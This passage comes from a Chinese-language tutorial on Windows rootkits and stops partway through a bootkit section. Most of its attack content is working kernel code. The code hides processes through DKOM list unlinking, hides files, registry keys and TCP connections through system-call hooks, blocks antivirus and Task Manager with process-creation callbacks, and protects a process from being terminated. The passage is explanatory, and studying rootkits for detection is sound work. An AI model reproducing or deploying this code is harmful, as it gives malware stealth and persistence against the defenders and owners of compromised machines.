2. 进程隐藏的原理(续)
objectivec
复制代码
// Windows 遍历进程的方式:
// 从 PsActiveProcessHead 开始,沿着 ActiveProcessLinks 遍历
// 系统获取进程列表的内部逻辑(简化):
NTSTATUS NtQuerySystemInformation_ProcessList() {
PLIST_ENTRY current = PsActiveProcessHead.Flink;
while (current != &PsActiveProcessHead) {
// 通过链表项计算 EPROCESS 地址
PEPROCESS process = CONTAINING_RECORD(
current,
EPROCESS,
ActiveProcessLinks // 偏移 0x088
);
// 输出进程信息
OutputProcessInfo(process);
// 移动到下一个
current = current->Flink;
}
}
// 任务管理器、Process Explorer、杀毒软件都依赖这个链表!
进程链表结构可视化
cpp
复制代码
正常状态的进程链表:
PsActiveProcessHead
│
▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ System │ │ smss.exe │ │ csrss.exe │ │ malware.exe │
│ PID: 4 │ │ PID: 256 │ │ PID: 512 │ │ PID: 1234 │
│ │ │ │ │ │ │ │
│ ┌───────────┐ │ │ ┌───────────┐ │ │ ┌───────────┐ │ │ ┌───────────┐ │
│ │ActiveProc │─┼───►│ │ActiveProc │─┼───►│ │ActiveProc │─┼───►│ │ActiveProc │─┼───┐
│ │Links.Flink│ │ │ │Links.Flink│ │ │ │Links.Flink│ │ │ │Links.Flink│ │ │
│ ├───────────┤ │ │ ├───────────┤ │ │ ├───────────┤ │ │ ├───────────┤ │ │
│ │ActiveProc │◄┼────│ │ActiveProc │◄┼────│ │ActiveProc │◄┼────│ │ActiveProc │ │ │
│ │Links.Blink│ │ │ │Links.Blink│ │ │ │Links.Blink│ │ │ │Links.Blink│ │ │
│ └───────────┘ │ │ └───────────┘ │ │ └───────────┘ │ │ └───────────┘ │ │
└───────────────┘ └───────────────┘ └───────────────┘ └───────────────┘ │
▲ │
└──────────────────────────────────────────────────────────────────────────┘
隐藏后的进程链表
cpp
复制代码
DKOM 隐藏 malware.exe 后:
malware.exe 被"跳过"
│
PsActiveProcessHead ▼
│ ┌───────────────┐
▼ │ malware.exe │
┌───────────────┐ ┌───────────────┐ ┌───────────────┐ │ PID: 1234 │
│ System │ │ smss.exe │ │ csrss.exe │ │ (仍在运行!) │
│ PID: 4 │ │ PID: 256 │ │ PID: 512 │ │ ┌───────────┐ │
│ │ │ │ │ │ │ │ Flink │─┼─► 指向自己
│ ┌───────────┐ │ │ ┌───────────┐ │ │ ┌───────────┐ │ │ │ Blink │◄┼─┘ (断开)
│ │ Flink │─┼───►│ │ Flink │─┼───►│ │ Flink │─┼──┼─► │
│ ├───────────┤ │ │ ├───────────┤ │ │ ├───────────┤ │ │ └───────────┘ │
│ │ Blink │◄┼────│ │ Blink │◄┼────│ │ Blink │◄┼──┘ │
│ └───────────┘ │ │ └───────────┘ │ │ └───────────┘ │ └───────────────┘
└───────────────┘ └───────────────┘ └───────────────┘
关键点:
1. malware.exe 从链表中被移除
2. 但进程对象仍然存在于内存中
3. 调度器通过其他数据结构(KTHREAD链表)仍能调度它
4. 任务管理器遍历链表时会跳过它 → 看不见!
3. DKOM 隐藏的完整代码
cpp
复制代码
#include <ntddk.h>
// EPROCESS 中 ActiveProcessLinks 的偏移
// 不同 Windows 版本偏移不同!
#define ACTIVEPROCESSLINKS_OFFSET_WIN7_X86 0x0B8
#define ACTIVEPROCESSLINKS_OFFSET_WIN10_X64 0x2F0
#define IMAGEFILENAME_OFFSET_WIN7_X86 0x16C
#define IMAGEFILENAME_OFFSET_WIN10_X64 0x450
// 获取当前系统的偏移(简化,实际需要动态检测)
ULONG g_ActiveProcessLinksOffset;
ULONG g_ImageFileNameOffset;
// 初始化偏移
void InitializeOffsets() {
RTL_OSVERSIONINFOW versionInfo = { sizeof(RTL_OSVERSIONINFOW) };
RtlGetVersion(&versionInfo);
if (versionInfo.dwBuildNumber >= 17763) { // Win10 1809+
g_ActiveProcessLinksOffset = 0x2F0;
g_ImageFileNameOffset = 0x450;
} else {
// 其他版本...
}
}
// 根据进程名隐藏进程
NTSTATUS HideProcessByName(PCCHAR processName) {
PEPROCESS currentProcess = PsGetCurrentProcess();
PEPROCESS startProcess = currentProcess;
// 获取 ActiveProcessLinks 的地址
PLIST_ENTRY currentLinks = (PLIST_ENTRY)(
(PUCHAR)currentProcess + g_ActiveProcessLinksOffset
);
PLIST_ENTRY startLinks = currentLinks;
do {
// 获取进程名
PCCHAR imageName = (PCCHAR)(
(PUCHAR)currentProcess + g_ImageFileNameOffset
);
// 检查是否是目标进程
if (_stricmp(imageName, processName) == 0) {
DbgPrint("[DKOM] Found target process: %s\n", imageName);
// 从链表中移除
RemoveEntryList(currentLinks);
// 将 Flink 和 Blink 指向自己,防止蓝屏
currentLinks->Flink = currentLinks;
currentLinks->Blink = currentLinks;
DbgPrint("[DKOM] Process hidden successfully\n");
return STATUS_SUCCESS;
}
// 移动到下一个进程
currentLinks = currentLinks->Flink;
currentProcess = (PEPROCESS)(
(PUCHAR)currentLinks - g_ActiveProcessLinksOffset
);
} while (currentLinks != startLinks);
return STATUS_NOT_FOUND;
}
// RemoveEntryList 的实现(内核中已有,这里展示原理)
VOID RemoveEntryListManual(PLIST_ENTRY Entry) {
PLIST_ENTRY Blink = Entry->Blink;
PLIST_ENTRY Flink = Entry->Flink;
// 前一项的 Flink 指向后一项
Blink->Flink = Flink;
// 后一项的 Blink 指向前一项
Flink->Blink = Blink;
// Entry 被"架空"了
}
4. 为什么进程隐藏后仍能运行?
cpp
复制代码
Windows 进程调度不依赖 ActiveProcessLinks!
进程调度的数据结构:
┌─────────────────────────────────────────────────────────────┐
│ │
│ ┌─────────────────┐ │
│ │ KPRCB │ (Processor Control Block) │
│ │ ┌─────────────┐ │ │
│ │ │DispatcherRea│ │ 调度器就绪队列 │
│ │ │dyListHead │ │ 按优先级组织 │
│ │ └─────────────┘ │ │
│ │ ┌─────────────┐ │ │
│ │ │CurrentThread│ │ 当前运行的线程 │
│ │ └─────────────┘ │ │
│ └─────────────────┘ │
│ │
│ 调度过程: │
│ 1. 时钟中断触发 │
│ 2. 调度器从就绪队列选择线程 │
│ 3. 通过 KTHREAD 找到线程上下文 │
│ 4. 切换到该线程执行 │
│ │
│ 注意:整个过程不涉及 ActiveProcessLinks! │
│ │
└─────────────────────────────────────────────────────────────┘
所以:
- ActiveProcessLinks:用于枚举进程(任务管理器)
- KTHREAD 链表:用于线程调度
- 从 ActiveProcessLinks 移除不影响调度!
九、文件隐藏:Hook NtQueryDirectoryFile
1. 文件枚举的系统调用
cpp
复制代码
用户查看目录时的调用链:
Explorer.exe
│
▼
FindFirstFile() / FindNextFile()
│
▼
kernel32.dll
│
▼
ntdll!NtQueryDirectoryFile()
│
▼
──────────────────────────── 用户态/内核态边界
│
▼
nt!NtQueryDirectoryFile()
│
▼
文件系统驱动 (NTFS)
│
▼
返回文件列表
2. NtQueryDirectoryFile 的返回结构
cpp
复制代码
// 返回的数据结构
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset; // 下一项的偏移,0 表示最后一项
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1]; // 可变长度的文件名
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
// 内存中的布局:
┌────────────────────────────────────────────────────────────┐
│ Entry 1 │
│ NextEntryOffset: 96 ──────────────────────┐ │
│ FileName: "system32" │ │
├────────────────────────────────────────────────────────────┤
│ Entry 2 ◄───────────────┘ │
│ NextEntryOffset: 88 ──────────────────────┐ │
│ FileName: "malware.exe" ← 要隐藏这个! │ │
├────────────────────────────────────────────────────────────┤
│ Entry 3 ◄───────────────┘ │
│ NextEntryOffset: 0 │
│ FileName: "notepad.exe" │
└────────────────────────────────────────────────────────────┘
3. 文件隐藏的 Hook 实现
cpp
复制代码
// 原始函数指针
typedef NTSTATUS (*pNtQueryDirectoryFile)(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
BOOLEAN ReturnSingleEntry,
PUNICODE_STRING FileName,
BOOLEAN RestartScan
);
pNtQueryDirectoryFile OriginalNtQueryDirectoryFile;
// 要隐藏的文件名
WCHAR* g_HiddenFiles[] = {
L"malware.exe",
L"rootkit.sys",
L"config.dat",
NULL
};
// 检查是否应该隐藏
BOOLEAN ShouldHideFile(PWCHAR fileName) {
for (int i = 0; g_HiddenFiles[i] != NULL; i++) {
if (_wcsicmp(fileName, g_HiddenFiles[i]) == 0) {
return TRUE;
}
}
return FALSE;
}
// Hook 后的函数
NTSTATUS HookedNtQueryDirectoryFile(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
BOOLEAN ReturnSingleEntry,
PUNICODE_STRING FileName,
BOOLEAN RestartScan
) {
// 首先调用原始函数
NTSTATUS status = OriginalNtQueryDirectoryFile(
FileHandle, Event, ApcRoutine, ApcContext,
IoStatusBlock, FileInformation, Length,
FileInformationClass, ReturnSingleEntry,
FileName, RestartScan
);
// 如果调用失败或不是我们关心的信息类型,直接返回
if (!NT_SUCCESS(status) || FileInformation == NULL) {
return status;
}
// 只处理 FileDirectoryInformation 类型
if (FileInformationClass != FileDirectoryInformation &&
FileInformationClass != FileFullDirectoryInformation &&
FileInformationClass != FileBothDirectoryInformation) {
return status;
}
// 遍历结果,过滤掉要隐藏的文件
PFILE_DIRECTORY_INFORMATION current =
(PFILE_DIRECTORY_INFORMATION)FileInformation;
PFILE_DIRECTORY_INFORMATION previous = NULL;
while (TRUE) {
// 获取文件名(需要处理非空结尾的情况)
WCHAR fileName[MAX_PATH] = {0};
wcsncpy(fileName, current->FileName,
current->FileNameLength / sizeof(WCHAR));
BOOLEAN hide = ShouldHideFile(fileName);
if (hide) {
// 需要隐藏这个条目
if (previous == NULL) {
// 第一个条目就要隐藏
if (current->NextEntryOffset == 0) {
// 唯一的条目,返回"无更多文件"
return STATUS_NO_MORE_FILES;
} else {
// 将下一个条目的数据复制到开头
PFILE_DIRECTORY_INFORMATION next =
(PFILE_DIRECTORY_INFORMATION)(
(PUCHAR)current + current->NextEntryOffset
);
RtlMoveMemory(current, next,
Length - current->NextEntryOffset);
// 继续检查(不移动 current)
continue;
}
} else {
// 不是第一个条目
if (current->NextEntryOffset == 0) {
// 最后一个条目,将前一个的 NextEntryOffset 设为 0
previous->NextEntryOffset = 0;
break;
} else {
// 中间条目,调整前一个的 NextEntryOffset 跳过当前
previous->NextEntryOffset += current->NextEntryOffset;
// 移动到下一个条目继续检查
current = (PFILE_DIRECTORY_INFORMATION)(
(PUCHAR)current + current->NextEntryOffset
);
continue;
}
}
}
// 不需要隐藏,移动到下一个
if (current->NextEntryOffset == 0) {
break;
}
previous = current;
current = (PFILE_DIRECTORY_INFORMATION)(
(PUCHAR)current + current->NextEntryOffset
);
}
return status;
}
4. 文件隐藏效果示意
cpp
复制代码
原始返回数据:
┌─────────────────┐
│ Entry 1 │
│ NextOffset: 96 │──┐
│ "system32" │ │
├─────────────────┤◄─┘
│ Entry 2 │
│ NextOffset: 88 │──┐ ← malware.exe,需要隐藏
│ "malware.exe" │ │
├─────────────────┤◄─┘
│ Entry 3 │
│ NextOffset: 80 │──┐
│ "notepad.exe" │ │
├─────────────────┤◄─┘
│ Entry 4 │
│ NextOffset: 0 │
│ "readme.txt" │
└─────────────────┘
Hook 处理后返回给用户的数据:
┌─────────────────┐
│ Entry 1 │
│ NextOffset: 184 │──┐ ← 96 + 88 = 184,跳过 malware.exe
│ "system32" │ │
├─────────────────┤ │
│ [被跳过的区域] │ │ ← 这部分数据仍在内存中,但被跳过
│ │ │
├─────────────────┤◄─┘
│ Entry 3 │
│ NextOffset: 80 │──┐
│ "notepad.exe" │ │
├─────────────────┤◄─┘
│ Entry 4 │
│ NextOffset: 0 │
│ "readme.txt" │
└─────────────────┘
用户看到的文件列表:
- system32
- notepad.exe
- readme.txt
malware.exe "消失"了!
十、注册表隐藏
1. 注册表操作的系统调用
cpp
复制代码
注册表相关的关键 API:
NtEnumerateKey - 枚举子键
NtEnumerateValueKey - 枚举键值
NtQueryKey - 查询键信息
NtQueryValueKey - 查询值信息
通过 Hook 这些函数,可以隐藏:
- 恶意服务的注册表项
- 自启动项
- 配置数据
2. 注册表隐藏示例
cpp
复制代码
// Hook NtEnumerateKey 隐藏子键
typedef NTSTATUS (*pNtEnumerateKey)(
HANDLE KeyHandle,
ULONG Index,
KEY_INFORMATION_CLASS KeyInformationClass,
PVOID KeyInformation,
ULONG Length,
PULONG ResultLength
);
pNtEnumerateKey OriginalNtEnumerateKey;
// 要隐藏的注册表键名
WCHAR* g_HiddenKeys[] = {
L"MalwareService",
L"RootkitDriver",
NULL
};
NTSTATUS HookedNtEnumerateKey(
HANDLE KeyHandle,
ULONG Index,
KEY_INFORMATION_CLASS KeyInformationClass,
PVOID KeyInformation,
ULONG Length,
PULONG ResultLength
) {
// 调用原始函数
NTSTATUS status = OriginalNtEnumerateKey(
KeyHandle, Index, KeyInformationClass,
KeyInformation, Length, ResultLength
);
if (NT_SUCCESS(status) && KeyInformation != NULL) {
// 获取键名
PKEY_BASIC_INFORMATION keyInfo =
(PKEY_BASIC_INFORMATION)KeyInformation;
WCHAR keyName[256] = {0};
wcsncpy(keyName, keyInfo->Name,
keyInfo->NameLength / sizeof(WCHAR));
// 检查是否需要隐藏
for (int i = 0; g_HiddenKeys[i] != NULL; i++) {
if (_wcsicmp(keyName, g_HiddenKeys[i]) == 0) {
// 需要隐藏,返回下一个索引的结果
// 递归调用,跳过这个条目
return HookedNtEnumerateKey(
KeyHandle, Index + 1, KeyInformationClass,
KeyInformation, Length, ResultLength
);
}
}
}
return status;
}
十一、网络连接隐藏
1. 网络连接枚举的原理
cpp
复制代码
netstat 命令的工作原理:
netstat.exe
│
▼
GetTcpTable() / GetUdpTable()
│
▼
iphlpapi.dll
│
▼
NtDeviceIoControlFile() ← Hook 点
│
▼
\Device\Tcp 或 \Device\Udp
│
▼
tcpip.sys (网络驱动)
2. 网络连接隐藏的方法
cpp
复制代码
// 方法1: Hook NtDeviceIoControlFile
// 当目标设备是 \Device\Tcp 且 IOCTL 是获取连接表时,过滤结果
// 方法2: Hook GetTcpTable / GetExtendedTcpTable (用户态)
// 更简单,但容易被检测
// TCP 连接信息结构
typedef struct _MIB_TCPROW {
DWORD dwState;
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
} MIB_TCPROW;
typedef struct _MIB_TCPTABLE {
DWORD dwNumEntries;
MIB_TCPROW table[1]; // 可变长度数组
} MIB_TCPTABLE;
// 隐藏特定端口的连接
VOID FilterTcpTable(PMIB_TCPTABLE tcpTable) {
DWORD hiddenPort = htons(4444); // 要隐藏的端口
DWORD writeIndex = 0;
for (DWORD i = 0; i < tcpTable->dwNumEntries; i++) {
// 检查是否是要隐藏的连接
if (tcpTable->table[i].dwLocalPort != hiddenPort &&
tcpTable->table[i].dwRemotePort != hiddenPort) {
// 不需要隐藏,复制到结果中
if (writeIndex != i) {
RtlCopyMemory(&tcpTable->table[writeIndex],
&tcpTable->table[i],
sizeof(MIB_TCPROW));
}
writeIndex++;
}
}
// 更新条目数
tcpTable->dwNumEntries = writeIndex;
}
十二、内核回调机制的利用
1. Windows 内核提供的回调
cpp
复制代码
// Windows 提供了多种内核回调,可用于监控系统事件:
// 1. 进程创建/销毁回调
PsSetCreateProcessNotifyRoutine(ProcessCallback, FALSE);
// 2. 线程创建/销毁回调
PsSetCreateThreadNotifyRoutine(ThreadCallback);
// 3. 模块加载回调
PsSetLoadImageNotifyRoutine(ImageCallback);
// 4. 注册表操作回调
CmRegisterCallback(RegistryCallback, NULL, &g_CmCookie);
// 5. 对象操作回调
ObRegisterCallbacks(&CallbackRegistration, &g_ObHandle);
// Rootkit 可以利用这些回调来:
// - 监控所有进程创建,及时注入
// - 阻止杀毒软件启动
// - 保护自己不被删除
2. 进程保护回调示例
cpp
复制代码
// 阻止杀毒软件进程启动
WCHAR* g_BlockedProcesses[] = {
L"\\??\\C:\\Program Files\\Antivirus\\av.exe",
L"\\??\\C:\\Windows\\System32\\taskmgr.exe",
NULL
};
void ProcessNotifyCallback(
PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo
) {
if (CreateInfo == NULL) {
// 进程退出,不处理
return;
}
// 进程创建
if (CreateInfo->ImageFileName != NULL) {
for (int i = 0; g_BlockedProcesses[i] != NULL; i++) {
UNICODE_STRING blocked;
RtlInitUnicodeString(&blocked, g_BlockedProcesses[i]);
if (RtlEqualUnicodeString(
CreateInfo->ImageFileName, &blocked, TRUE)) {
// 阻止进程创建
CreateInfo->CreationStatus = STATUS_ACCESS_DENIED;
DbgPrint("[Rootkit] Blocked process: %wZ\n",
CreateInfo->ImageFileName);
return;
}
}
}
}
// 驱动入口点
NTSTATUS DriverEntry(...) {
// 注册进程回调
NTSTATUS status = PsSetCreateProcessNotifyRoutineEx(
ProcessNotifyCallback, FALSE
);
if (!NT_SUCCESS(status)) {
DbgPrint("Failed to register callback: 0x%X\n", status);
}
return status;
}
3. 对象回调保护自身进程
cpp
复制代码
// 使用 ObRegisterCallbacks 阻止其他程序终止我们的进程
OB_PREOP_CALLBACK_STATUS PreOperationCallback(
PVOID RegistrationContext,
POB_PRE_OPERATION_INFORMATION OperationInformation
) {
// 检查是否是进程对象
if (OperationInformation->ObjectType != *PsProcessType) {
return OB_PREOP_SUCCESS;
}
PEPROCESS targetProcess = (PEPROCESS)OperationInformation->Object;
HANDLE targetPid = PsGetProcessId(targetProcess);
// 检查是否是我们要保护的进程
if (targetPid == g_ProtectedPid) {
// 检查是否请求终止权限
if (OperationInformation->Operation == OB_OPERATION_HANDLE_CREATE) {
// 移除 PROCESS_TERMINATE 权限
OperationInformation->Parameters->CreateHandleInformation
.DesiredAccess &= ~PROCESS_TERMINATE;
// 也移除其他危险权限
OperationInformation->Parameters->CreateHandleInformation
.DesiredAccess &= ~PROCESS_VM_WRITE;
OperationInformation->Parameters->CreateHandleInformation
.DesiredAccess &= ~PROCESS_VM_OPERATION;
}
}
return OB_PREOP_SUCCESS;
}
十三、Bootkit:更底层的持久化
1. Bootkit 的启动顺序
cpp
复制代码
传统 BIOS 启动:
┌─────────────────────────────────────────────────────────────┐
│ │
│ 1. BIOS 执行 │
│ │ │
│ ▼ │
│ 2. 读取 MBR (主引导记录,第一个扇区) │
│ │ ← Bootkit 在这里植入代码! │
│ ▼ │
│ 3. MBR 代码执行,加载 VBR │
│ │ │
│ ▼ │
│ 4. VBR 加载 bootmgr │
│ │ │
│ ▼ │
│ 5. bootmgr 加